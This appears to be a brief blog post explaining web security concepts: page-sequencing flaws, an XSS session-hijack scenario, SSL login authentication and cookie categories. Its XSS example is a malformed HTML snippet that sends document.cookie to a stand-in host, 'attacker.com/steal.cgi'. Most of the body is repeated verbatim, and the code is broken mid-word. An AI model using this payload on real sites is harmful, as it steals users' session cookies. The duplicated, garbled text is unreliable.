Page Sequencing
Page sequencing is the term given to the vulnerability that arises as a result of poor session management, thereby allowing the user to take an out of turn action and bypass the defined sequence of web pages. This can be something like moving ahead to a later stage of a financial transaction. This arises due to faulty session/application state management.
XSS Web Application Hijack [Cookie stealing]
User is logged on to a web application and the session is currently active. An attacker knows of a XSS hole that affects that application.
The user receives a malicious XSS link via an e-mail or comes across it on a web page. In some cases an attacker can even insert it into web content (guest book, banner) and make it load automatically without requiring user intervention.
[Example]
< head>
< body>document.location.replace('http://attacker.com/steal.cgi?'+d
ocument.cookie);"> Free CC's!
< /html>
It is a true that most web sites address security using SSL for authenticating their login sessions. When the client connects to a web site two security events take place. The web site must prove that it is the web site it claims to be. The web site authenticates itself by the SSL certificate issued to the domain in question by a trusted third party. Depending on the extent the user trusts the certificate issuer; user can be assured that the web site is what it claims to be.
Once the web site is authenticated by the user, they can choose to establish a secure data connection via the public key mechanism of SSL so that all the data that is transmitted between them is encrypted.
The user must authenticate them self to the web site. The user provides there username/password into a form and this data is transmitted in an encrypted fashion to the web site for authentication. If the client is authenticated, a session cookie is generated with appropriate timeout and validation information. This is sent back to the user as a "secure cookie" , one that is only passed back and forth over SSL.
This can be considered as passing a shared secret back and forth, which is encrypted and is not the actual password and does timeout. If the website does not use cookies, it can look for session codes that are embedded in the site URLs so that they are never stored in the hard disk of the client computer. Some web sites do require their users to obtain client SSL certificates so that the web site can authenticate the clients via these certificates and thus not need this whole username/password scheme.
Cookies were originally introduced by Netscape and are now specified in RFC-2965, with RFC 2964 and BCP44 offering guidance on best practice. Cookies were never designed to store usernames and passwords or any sensitive information. There are two categories of cookies, secure or non-secure and persistent or non-persistent, giving these individual cookies types.
1. Persistent and Secure
2. Persistent and Non-Secure
3. Non-Persistent and Secure
4. Non-Persistent and Non-Secure
XSS Web Application Hijack [Cookie stealing]
User is logged on to a web application and the session is currently active. An attacker knows of a XSS hole that affects that application.
The user receives a malicious XSS link via an e-mail or comes across it on a web page. In some cases an attacker can even insert it into web content (guest book, banner) and make it load automatically without requiring user intervention.
[Example]
< head>
< body>document.location.replace('http://attacker.com/steal.cgi?'+d
ocument.cookie);"> Free CC's!
< /html>
It is a true that most web sites address security using SSL for authenticating their login sessions. When the client connects to a web site two security events take place. The web site must prove that it is the web site it claims to be. The web site authenticates itself by the SSL certificate issued to the domain in question by a trusted third party. Depending on the extent the user trusts the certificate issuer; user can be assured that the web site is what it claims to be.
Once the web site is authenticated by the user, they can choose to establish a secure data connection via the public key mechanism of SSL so that all the data that is transmitted between them is encrypted.
The user must authenticate them self to the web site. The user provides there username/password into a form and this data is transmitted in an encrypted fashion to the web site for authentication. If the client is authenticated, a session cookie is generated with appropriate timeout and validation information. This is sent back to the user as a "secure cookie" , one that is only passed back and forth over SSL.
This can be considered as passing a shared secret back and forth, which is encrypted and is not the actual password and does timeout. If the website does not use cookies, it can look for session codes that are embedded in the site URLs so that they are never stored in the hard disk of the client computer. Some web sites do require their users to obtain client SSL certificates so that the web site can authenticate the clients via these certificates and thus not need this whole username/password scheme.
Cookies were originally introduced by Netscape and are now specified in RFC-2965, with RFC 2964 and BCP44 offering guidance on best practice. Cookies were never designed to store usernames and passwords or any sensitive information. There are two categories of cookies, secure or non-secure and persistent or non-persistent, giving these individual cookies types.
1. Persistent and Secure
2. Persistent and Non-Secure
3. Non-Persistent and Secure
4. Non-Persistent and Non-Secure
No comments:
Post a Comment